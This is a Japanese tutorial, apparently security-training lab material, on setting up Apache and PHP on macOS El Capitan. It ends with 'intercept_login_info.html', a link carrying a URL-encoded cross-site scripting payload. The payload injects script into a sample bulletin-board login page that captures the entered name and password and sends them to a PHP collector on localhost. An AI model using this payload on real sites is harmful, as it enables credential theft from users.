MacOSX ElCapitan Apache

MacOSX
El Capitan
Apache起動方法
ApacheとPHPがインストールされている
ことを確認する



apache の確認

bash-3.2# httpd -v

Server version: Apache/2.4.18 (Unix)

Server built: Feb 20 2016 20:03:19
コントローラの確認

bash-3.2# which apachectl

/usr/sbin/apachectl
PHPのインストール確認

bash-3.2# php -v

PHP 5.5.34 (cli) (built: Apr 22 2016 19:16:58)

Copyright (c) 1997-2015 The PHP Group

Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies
起動と停止

bash-3.2# apachectl start

bash-3.2# ps -ef|grep httpd



0 1313
<=起動
1 0 1:41PM ??
70 1317 1313 0 1:41PM ??
0 1321 974 0 1:41PM ttys000

bash-3.2# apachectl stop<=停止

bash-3.2# ps -ef|grep httpd

0:00.10 /usr/sbin/httpd -D FOREGROUND
0 1327 974 0 1:51PM ttys000
0:00.00 /usr/sbin/httpd -D FOREGROUND
0:00.00 grep httpd
0:00.00 grep httpd
起動しない場合

設定ファイルの確認

bash-3.2# apachectl configtest

Syntax OK

エラーが表示される場合

bash-3.2# apachectl configtest

AH00526: Syntax error on line 20 of /private/etc/apache2/extra/httpdmpm.conf:

Invalid command 'LockFile', perhaps misspelled or defined by a module not
included in the server configuration
apache 2.4系でよくあるエラー
vim /private/etc/apache2/extra/httpd-mpm.conf
<IfModule !mpm_winnt_module>
<IfModule !mpm_netware_module>
#LockFile “/private/var/log/apache2/accept.lock” <=コメントアウト
</IfModule>
</IfModule>
起動後動作確認
/private/etc/apache2/httpd.conf
PHPを有効にして、Apacheをユーザ個別
ディレクト対応にする設定
(1)httpd.confモジュールの有効化
LoadModule php5_module libexec/apache2/libphp5.so
LoadModule userdir_module libexec/apache2/mod_userdir.so
Include /private/etc/apache2/extra/httpd-userdir.conf
(2)ホームディレクトリの作成
$mkdir ~/Sites
(3)個別ユーザ情報の設定
$sudo vi /etc/apache2/users/ユーザ名.conf
<Directory "/Users/ユーザ名/Sites/">
AllowOverride All
Options Indexes MultiViews
Options +FollowSymLinks
Require all granted
</Directory>
ユーザ名にはMacOS
へのログイン名を
使ってください
(4)個別ユーザ情報ロードの設定
sudo vi /private/etc/apache2/extra/httpd-userdir.conf
Include /private/etc/apache2/users/*.conf のコメントを外す
(5)Apache再起動
$sudo apachectl restart
PHPの動作確認
http://localhost:80/~ユーザ名/phpinfo.php
<?php
phpinfo();
?>
個別ホームディレクトリにphpinfo.phpを
作成してChromeブラウザで見て、PHP情
報が表示されれば設定完了です。
intercept_login_info.html
<a
href='http://localhost:8080/SampleBBS/login.jsp?name=%22%3E%3C%2Ftd%3E%0D%0A%3C%2Ftr%3E
%0D%0A%3C%2Ftable%3E%0D%0A%3Cscript+type%3D%22text%2Fjavascript%22%3E%0D%0Afunction+u
ser_func%28%29+%7B%0D%0Avar+name+%3D+document.login.name.value%3B%0D%0Avar+pass+%3D
+document.login.pass.value%3B%0D%0A%0D%0Avar+req+%3D+new+XMLHttpRequest%28%29%3B%0D
%0Areq.open%28%22GET%22%2C+%22http%3A%2F%2Flocalhost%2Flogin_info.php%3Fname%3D%22+
%2B+name%0D%0A++++++++%2B+%22%26pass%3D%22+%2B+pass%29%3B%0D%0A%0D%0Areq.send%28
null%29%3B%0D%0A%0D%0Areturn+true%3B%0D%0A%7D%0D%0A%3C%2Fscript%3E+%0D%0A%3Ctable%
3E%0D%0A%3Ctr%3E%0D%0A%3Ctd%3E%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%3C%
2Ftd%3E%0D%0A%3Ctd%3E%3Cinput+type%3D%22password%22+name%3D%22pass%22%3E%3C%2Ftd%
3E%0D%0A%3C%2Ftr%3E%0D%0A%3C%2Ftable%3E%0D%0A%3Cinput+type%3D%22submit%22+value%3D
%22%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3%22+onclick%3D%22user_func%28%29%22%3E%0D%
0A%3C%2Fform%3E%0D%0A%0D%0A%3Cbr%3E%0D%0A%3Ca+href%3D%22%2FSampleBBS%2Fadd_user.j
sp%22%3E%E3%83%A6%E3%83%BC%E3%82%B6%E7%99%BB%E9%8C%B2%3C%2Fa%3E%0D%0A%3C%2Fbod
y%3E%0D%0A%3C%2Fhtml%3E%0D%0A%3Chtml%3E%3Cspan+style%3D%22display%3Anone%3B%0D%0A'
>ここからログイン</a>
intercept_login_info.htmlは上記テキスト部分をコピーアン
ドペーストして作成してください。